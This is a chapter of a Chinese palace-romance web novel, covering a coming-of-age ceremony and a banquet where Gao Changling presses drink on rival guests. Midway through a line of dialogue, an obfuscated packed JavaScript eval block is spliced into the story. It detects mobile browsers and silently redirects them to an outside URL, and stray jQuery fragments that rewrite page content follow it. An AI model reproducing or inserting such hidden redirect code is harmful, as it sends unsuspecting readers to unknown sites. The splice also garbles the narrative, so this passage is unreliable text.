19. 第十九章

作品:《公主的秘密情郎

    第十九章


    赵熠大失所望,还想挽留:“什么要紧事需得在这关头去做?午膳耽误不了多久,阿姊当真不留下来一起用膳吗?”


    赵玉婧惋惜地摇摇头:“这是早前便与人约好的,怎能食言。”


    她微抬眼睑去看沈行,本以为会看到沈行轻松的神色,见到的却是他面容严肃,眉头紧皱。


    怪了,她不留下,他不是应该感到高兴吗?


    沈行并未察觉到赵玉婧的目光,更确切来说,是此刻的他无瑕顾及。


    他有些恍惚,又感到有些不妙。


    他的心情因她方才那些话动荡起伏,甚至想好了若是在食案上赵玉婧又来勾惹他,他该如何对付。


    可赵玉婧从一开始便不打算留下。


    这显得他的准备尤为可笑。


    这令沈行清楚地意识到,他如今意志竟薄弱至此,能轻易被赵玉婧撩动心绪,被她三言两语牵着走。


    这不是个好兆头。


    赵熠见挽留无望,内心感到失落。


    他还以为能借此机会让沈行与赵玉婧关系更近一步,依眼下情形来看……


    他看看沈行,又看看赵玉婧。


    沈行敛眉沉思,不知在想些什么,而赵玉婧……正在打量沈行。


    赵熠恍然大悟。


    他阿姊定是不想沈行难堪,这才找借口不留下。


    他阿姊一向是最通情达理最善解人意的,又爱屋及乌,一直以来对他的好友多有关照。加之沈行身份特殊,想来是怕他与她同席不自在。


    赵熠认为一定是这样。


    赵玉婧探究不出沈行在想什么,从他身上收回眼,又与赵熠再说了两句后,便带着宫女告辞。


    *


    赵玉婧说的有约并非借口,今日是永安郡主的及笄礼,她早早收到请帖,要去祝贺。


    永安郡主的及笄礼办得隆重,不过在那些繁杂的仪程过后,她悄悄溜来与较亲近的几名姑娘围坐桌边说笑。


    永安侯与惠德帝一母所出,兄弟和睦,因此永安郡主平日与几位公主皇子往来甚密,这回除了赵玉婧,赵月柔同样受邀在列。


    赵月柔尚记恨赵玉婧围猎场上害她被禁足的事,说了一番恭贺永安郡主的话,末了朝赵玉婧撇去一眼。


    “幸好妹妹及笄礼是在今日,否则我还真来不了。”


    语毕,她无奈地长长叹了口气。


    永安郡主惊道:“可是发生了何事?”


    赵月柔正等人来问,闻言立刻将腹稿吐出:“上回我在围猎场不过粗心犯了个小错,本是微不足道的小事,但偏偏有人揪着不犯,告到父皇那儿去,还怂恿父皇好生处罚我,害得我被父皇禁足一月。”


    旁人若是给面子,便该配合问是何人如此小心眼。


    但赵月柔频频瞪向赵玉婧,只要有眼睛的都看得出来,这她们便不好开口了。


    而反观对面的赵玉婧,正慢慢悠悠地抿茶吃,好似听不到赵月柔在说话。


    赵玉婧对于赵月柔这种幼稚的小技俩早习以为常。


    赵月柔好似生怕旁人不知晓她们不和。


    赵月柔见赵玉婧无动于衷,一边不满赵玉婧的冷静,可一边又担心,她说得过火,万一赵玉婧当众让她难堪,她又说不过该如何是好。


    终于,在赵月柔絮絮叨叨地同身旁人大倒苦水后,赵玉婧冷不防起身。


    赵月柔时刻关注赵玉婧动向,因此被这动静吓得不轻,险些要跳开逃走。


    “你、皇姊这是要做什么?”赵月柔悄悄地往身边人身后躲。


    “三妹这是什么反应?”赵玉婧哼出声笑,“我不过想站起来走走,你怎么瞧着很害怕。”


    “我哪有。”赵月柔立刻否认,挺直腰板。


    赵月柔敢这样三番两次地挑衅赵玉婧,其中不乏有赵玉婧懒得与她计较的因素,这才使得赵月柔越发有恃无恐。


    赵玉婧是所有公主皇子中最年长的,又时常教导赵熠,是以在她眼中,这些皇弟皇妹都如孩童一般幼稚,只要赵月柔不做得太过,赵玉婧不屑于与她计较。


    “三妹喝几口水罢。”赵玉婧盯着她,弯起唇,但眼底并无笑意,“皇姊瞧你方才说了那么多话,该口渴了。”


    赵月柔脸色登时变得难看,明白这是赵玉婧的警告,但她不愿示弱,坐着不动,只不情不愿闭上嘴。


    赵玉婧起身离席。


    瞧着赵玉婧走远,赵月柔如何肯放过这个机会,她巴不得她身边的人都远离赵玉婧,见着赵玉婧都躲远远的才好。


    于是,她绞尽脑汁地挑那些赵玉婧的错处,添油加醋。


    众人心里尤如明镜,明白赵月柔言过其实,但她身份尊贵,她们不好说什么。


    何况赵玉婧本人都不在意。


    “乐安公主不是那样的人。”


    在赵月柔说赵玉婧喜好责骂宫人时,终于有人忍不住出声。


    被人打断,赵月柔不满地看过去,见是那位柔柔弱弱的尚书府千金,并不畏惧,反问她:“你怎知她不是?皇姊便是那样的人,时常苛待宫人。”


    “这其中兴许有什么误会。”李知鸢柔声道,“乐安公主性子和善,不会做这样的事。”


    实则其余人也是这样想,但她们不敢如李知鸢一般反驳赵月柔。


    赵月柔与赵玉婧不和,这不算秘闻,赵月柔不喜赵玉婧,也不喜她身边的人与赵玉婧走太近。


    因此每每赵月柔在她们面前说这些话,她们都默默听着,不会应和半句,随赵月柔去说个痛快,过后她们当做不曾发生即可。


    接连被否定,赵月柔有些不快。


    “你为何如此笃定,难道你还能比我了解她不成?我所言可是句句属实。”


    李知鸢与赵玉婧是泛泛之交,二人的确不熟悉。


    见李知鸢哑口无言,赵月柔痛快道:“这下你信我的话了罢?皇姊可不是你们想的那么好相与的人。”


    “三妹不妨仔细说说,我是如何不好相与。”


    突兀的声音将赵月柔吓了一跳。


    她转过头,赵玉婧不知何时站在她身后。


    “皇姊怎悄无声息地站人背后。”


    “若不是你做了亏心事,你怕什么。”赵玉婧抱臂冷睨她,“原来我不在时,你都是这样编排我的。”


    方才那些话固然有夸大,但并不全是虚假。


    赵月柔底气足了几分:“我说的可是实话,上回我亲眼所见,有宫女打碎了东西,皇姊在檐廊下责骂她。”


    “我何曾……”赵玉婧拧了下眉,忽然想起来是有这么一回事。


    但那都是好个月前的事了,亏赵月柔还记得。


    “她打碎的可是我生辰时父皇送我的琉璃盏,天底下独一无二的琉璃盏。”想起那琉璃盏,赵玉婧还是很心疼,那是她最心爱的一件玉器,“何况宫人犯错,惩罚难道不该?若都轻易放过,宫中规矩岂不形同虚设。”


    再者,她斥责那宫女,罚她三个月的俸禄已是格外开恩。


    一旁的贵女都听得面露惋惜。


    宫中的宝物何其精美,况且还是那样珍贵的琉璃盏。


    这换在他们府上,犯错的侍者也是不能被轻易饶过的。


    永安郡主眼见二人越发剑拔弩张,出声缓和道:“看来的确是误会,宫人犯错受责罚是应该的,想来三姊是不清楚那宫女犯的是这等大错。”


    赵玉婧给永安郡主面子,到底不愿与赵月柔在她的及笄礼上闹得难看。


    赵月柔本就理亏,顺坡而下,不再说什么。


    又待了片刻,赵玉婧想要告辞离开。


    临走之前,她看向李知鸢。


    “三日后是定远侯的寿辰,想来尚书府亦收到请柬?”


    “是。”李知鸢回道,“家父与侯爷交好,自该前去恭贺。”


    赵玉婧笑了笑:“既如此,我们到时再会。”


    李知鸢面露难色。


    她本是不打算前去的。


    但赵玉婧都这么说了,她不去岂不要叫她失望。


    最终,李知鸢未说出什么回绝的话。


    *


    很快到了三日后。


    早晨赵熠来寻她时,未见他身边跟着人,赵玉婧难免感到失望。


    不过一想到今日能看卫凌的好戏,她顿时又好受许多。


    到了定远侯府,侯府内宾客如云,见到赵玉婧与赵熠一同出席,众人都上前来问候。


    定远侯一边招待来客,一边与他的至交们喝酒谈天论地,至于赵玉婧等人,自是跟平辈们坐在一处,由卫凌招待。


    见到李知鸢来,赵玉婧招呼她过来,还未高兴太久,紧接着出现一个令她扫兴的人。


    高长陵竟也来了。


    定远侯与肃王都是将军,高长陵也与卫凌并肩作战过几回,因此高长陵会来不是稀罕事。


    赵玉婧一时将这茬忘了。


    高长陵厚着脸皮挑了个离赵玉婧近的地方坐,中间只隔着一人。


    不过他显然不满于此。


    高长陵提出要与中间那人换个位置,尚未等那人回话,赵玉婧先与那人交谈起来。


    “听得陈公子之前春猎时猎得了一头野猪,好生厉害,可否仔细说说是如何猎得的。”


    陈潭没想到赵玉婧会主动找自己交谈,说的还是自己引以为傲的事迹,一时顾不得高长陵,自豪地说起过程。


    他语气颇为自得,已然忘了旁边等他回话的高长陵。


    听完陈潭地描述,高长陵不屑地冷哼一声。


    “这有什么了不起,不过一头野猪,小把戏,无甚好骄傲。小爷猎得的豺狼虎豹比你吃过的饭还多。”


    “陈某是文人,双手执最多的是笔墨纸砚,舞刀弄枪的本事自是比不上高世子。”


    被落了面子,陈潭有些不快,偏自己于武艺上的确比不过高长陵,无可辩驳。


    只是等高长陵再一次提出与他换位置,他是如何都不肯了。


    可接着他便发现,他与这个位置上并不好受。


    高长陵总是要越过他与乐安公主说话,简直当他不存在,但乐安公主鲜少理会高长陵,显然是不待见高长陵,那么他更不能让了。


    他坐在这个位置越发煎熬,尤其是高长陵开始威胁他,不断灌他酒。


    “高某与陈公子一见如故


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441140|183731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,陈公子不喝便是不给高某面子。”高长陵手上动作不停,又往陈潭的杯子添满酒。


    陈潭连连摆手,生出退却的心思,但他一走,高长陵得逞,乐安公主说不准会因此记恨他。


    他忍了忍,只能拿起杯盏灌下肚,几杯下肚,已开始头昏脑胀。


    好在后来有一人姗姗来迟,周遭已无空位,陈潭连忙站起身,高声招呼那人过来。


    “沈兄,你过来这处,这儿有位置。”


    沈行循声望去,足尖已朝那处拐,下一瞬瞧见旁边端坐的那道身影,又猛然顿住。


    赵玉婧坐在那处,明亮亮的双眼直盯着他,眼底有喜悦的光彩。


    赵玉婧身边的赵熠也看到沈行,同他招手:“沈行,你可算来了。”


    沈行再不好推辞,只能朝那处走过去。


    陈潭如蒙大赦,防备高长陵抢位的同时,赶忙按着沈行肩膀让他坐下,将这烫手的山芋丢给他。


    “沈行,来的路上可还算顺利?”


    赵熠脑袋探出赵玉婧的遮挡,同沈行说话。


    沈行偏过头,最先看到的却是赵玉婧。


    他立刻垂下眼,只回道:“尚可。”


    赵熠不再问什么。


    他是一早就与沈行说好要来的。


    但沈行不喜乘坐马车,答应他会随后到。


    而在街市策马不比在郊外,需更加谨慎,因此他早料到沈行会来得晚一些。


    高长陵眼见好不容易快把陈潭放倒,却又换了个人,心中正不悦。


    “沈行?”身处西北,高长陵对青阳城的传言听得不多,但也知青阳城有名的沈氏。


    “莫不是沈太傅的公子?”


    “沈太傅是在下叔父。”沈行平和直视高长陵,微微笑道,“家父沈筠安。”


    沈筠安。


    听到这个名字,高长陵的眼神顷刻变了,变得意味深长和警惕。


    沈筠安这个名字他可不陌生。


    当年屡次向惠德帝上奏约束他父王权势的,便是沈筠安。


    沈筠安遇害的事,在当年可是惊世骇俗,高长陵在西北听他父王提起过。


    至于沈筠安的孩子,各种传闻都有,但每一种都过于离奇,一听便知是编造。


    “令尊大名如雷贯耳。”高长陵扯扯唇角,看不出是高兴还是不快,“高某今日真是有幸能见到沈兄。”


    沈行客气地回:“高世子过誉。”


    高长陵端起酒一饮而尽,余光不住地打量沈行。


    沈筠安名闻天下,他还以为沈筠安的孩子会有多与众不同,今日一见,不过是模样俊了些,斯斯文文,身材还不如他魁梧,说不准还接不了他一拳,旁的倒是瞧不出有什么特别的。


    不过这些他可以之后再探究,眼下有更重要的事。


    “沈兄,可否与高某换个位置。”高长陵和气地给沈行斟酒。


    沈行还未出声,肩头被人轻轻撞了一下。


    赵玉婧转过身与赵熠闲聊,身体自然地朝沈行这边倾靠,故才会不小心撞到他。


    “对不住,沈郎君。”


    发觉自己撞到人,赵玉婧转过来同沈行赔不是。


    但她眼底并无歉意,反倒好整以暇地看着他。


    沈行理解了陈潭为何迫不及待地想要离开。


    “沈兄?”


    高长陵提醒。


    沈行瞧着温和有礼,高长陵认为他不会拒绝。


    也不该拒绝。


    “高世子见谅。”沈行温声解释道,“这些位置是主人家安排,若冒然更换,怕是要失了礼数。”


    接连被两人拒绝,高长陵难以继续维持和颜悦色。


    不过转念一想,沈行兴许是怕赵玉婧怪罪。


    他对赵玉婧的心思从来不掩饰,不难猜测他换位意欲何为。


    沈行这是怕得罪公主。


    平和换位无望,高长陵故技重施,想要将沈行灌醉。


    但沈行不如陈潭那么好糊弄,他催一句沈行推辞一句。


    “沈某只身一人前来,晚些时候还要骑马回府,不宜饮酒。”


    “这么几口不碍事,你不喝这是不给我面子。”


    “他日有机会定当设宴招待世子赔罪,今日只能请世子见谅。”


    劝酒无果,高长陵只能不痛快地独自闷声饮下。


    宴饮过半,有人提出行酒令助兴。


    高长陵瞧机会来了,大笑一声。


    “吟诗作赋能有什么趣味。”他摆摆手,颇为不屑,“小孩子才玩的把戏。要玩便该玩些实在的,真刀真枪才有意思。”


    有人看不惯高长陵的狂妄,仗着自己一身功夫不把他们放在眼里。但他们当中,能拿得出武功的人的确较少。


    只卫凌自幼习武,又跟着定远侯打过多次仗,是他们当中最厉害的。


    于是众人都齐齐朝卫凌看去。


    卫凌感受到那些目光,明知自己不该应下,但人群中一人的目光他做不到不去在意,想要借此显露身手。


    他刚要应下,却听高长陵指名道姓。


    “不如便沈公子与高某比罢,高某让你一只手。”